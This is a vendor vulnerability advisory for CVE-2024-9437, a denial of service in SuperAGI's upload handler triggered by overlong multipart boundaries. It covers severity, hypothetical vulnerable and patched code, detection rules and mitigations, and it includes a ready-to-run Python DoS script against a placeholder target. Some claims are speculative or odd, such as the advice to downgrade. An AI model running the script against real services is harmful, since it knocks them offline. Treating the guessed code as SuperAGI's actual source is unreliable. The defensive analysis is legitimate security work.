CVE-2024-9437
Executive Summary
CVE-2024-9437 is an unauthenticated Denial of Service (DoS) vulnerability in SuperAGI version v0.0.14. The flaw resides in the resource upload request handler, where appending characters (e.g., dashes) to the end of a multipart boundary in an HTTP request causes the server to continuously process each character. This leads to excessive CPU and memory consumption, rendering the service unavailable. The vulnerability requires no authentication and no user interaction, impacting all users of the service. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes it a significant risk for exposed instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
SuperAGI is a Python-based AI agent framework distributed via PyPI. The vulnerable version v0.0.14 is available on PyPI. Users should verify their installed version and consider downgrading or applying mitigations until an official patch is released. The OSV database does not contain patch data, and no GitHub advisory has been published.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High
The vulnerability is classified as High severity due to the ease of exploitation and the potential for complete service disruption. The lack of authentication and user interaction makes it particularly dangerous for internet-facing deployments.
Deep Dive & Mechanics
The vulnerability is triggered during the resource upload process. When a multipart/form-data request is sent to the server, the boundary string is parsed to separate parts. By appending characters (such as dashes) to the end of the boundary, the server enters a loop where it attempts to process each appended character as a separate boundary marker. This causes the server to allocate resources for each character, leading to exponential resource consumption.
The root cause is a lack of input validation on the boundary string length and content. The server does not enforce a maximum boundary length or reject malformed boundaries. An attacker can craft a request with a boundary string that is extended with thousands of characters, causing the server to hang or crash.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is assumed to be in the resource upload handler. The following is a hypothetical vulnerable code snippet and a potential fix.
Vulnerable Code (Python):
def handle_upload(request):
content_type = request.headers.get('Content-Type', '')
if 'multipart/form-data' in content_type:
boundary = content_type.split('boundary=')[1]
# No validation on boundary length or content
parts = request.body.split(boundary)
for part in parts:
process_part(part)
Patched Code (Hypothetical):
def handle_upload(request):
content_type = request.headers.get('Content-Type', '')
if 'multipart/form-data' in content_type:
boundary = content_type.split('boundary=')[1]
# Validate boundary length and content
if len(boundary) > 70 or not boundary.isalnum():
raise ValueError("Invalid boundary")
parts = request.body.split(boundary)
for part in parts:
process_part(part)
Exploitation & Lab Setup
Red Team
Prerequisites:
- Python 3.x with
requestslibrary - Target SuperAGI instance (e.g., http://target:8080)
Exploit Script:
import requests
target = "http://target:8080"
boundary = "----WebKitFormBoundary" + "-" * 10000 # Extended boundary
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}"
}
data = f"--{boundary}\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n\r\npayload\r\n--{boundary}--\r\n"
try:
response = requests.post(f"{target}/upload", headers=headers, data=data, timeout=5)
print(f"Response: {response.status_code}")
except requests.exceptions.Timeout:
print("Server timed out - likely DoS successful")
except Exception as e:
print(f"Error: {e}")
Usage:
- Replace
targetwith the actual SuperAGI instance URL. - Run the script. The server may become unresponsive for a period or crash.
Blue Team
Detection:
- Monitor for HTTP requests with abnormally long
Content-Typeheaders containingboundary=followed by many characters. - Look for spikes in CPU and memory usage on the SuperAGI server.
- Use the detection rules provided below.
Mitigation:
- Implement a Web Application Firewall (WAF) rule to block requests with
Content-Typeheaders exceeding a reasonable length (e.g., 200 characters). - Rate-limit upload endpoints.
- Restrict access to the upload endpoint to authenticated users only.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST requests to
/uploadwithContent-Typecontainingboundary=followed by a long string of characters (e.g., dashes). - Unusually high number of requests from a single IP to the upload endpoint.
- HTTP POST requests to
- System:
- High CPU and memory usage on the SuperAGI server.
- Application logs showing repeated processing of boundary strings.
- File:
- Temporary files or logs indicating excessive boundary parsing.
Detection Engineering
YARA Rule
rule CVE_2024_9437_SuperAGI_DoS {
meta:
description = "Detects HTTP requests with excessively long multipart boundaries targeting SuperAGI"
author = "Valters IT"
date = "2024-10-01"
reference = "CVE-2024-9437"
strings:
$boundary = /boundary=[a-zA-Z0-9\-]{100,}/ nocase
condition:
$boundary
}
Sigma Rule
title: SuperAGI DoS via Long Multipart Boundary
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with excessively long multipart boundaries targeting SuperAGI upload endpoint
author: Valters IT
date: 2024-10-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-9437
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/upload'
cs-content-type|contains: 'boundary='
cs-content-type|re: 'boundary=[a-zA-Z0-9\-]{100,}'
condition: selection
falsepositives:
- Legitimate large file uploads with long boundaries (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-9437 SuperAGI DoS via Long Multipart Boundary"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"boundary="; http_header; pcre:"/boundary=[a-zA-Z0-9\-]{100,}/i"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable upload functionality if not required.
- Restrict access to the upload endpoint via firewall or authentication.
- Implement rate limiting on the upload endpoint.
- Use a WAF to block requests with excessively long
Content-Typeheaders.
Long-term Fix:
- Apply an official patch once released by SuperAGI.
- Upgrade to a patched version when available.
- Monitor the SuperAGI GitHub repository for updates.
Workaround:
- Modify the application code to validate the boundary length (as shown in the patched code example) and restart the service.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.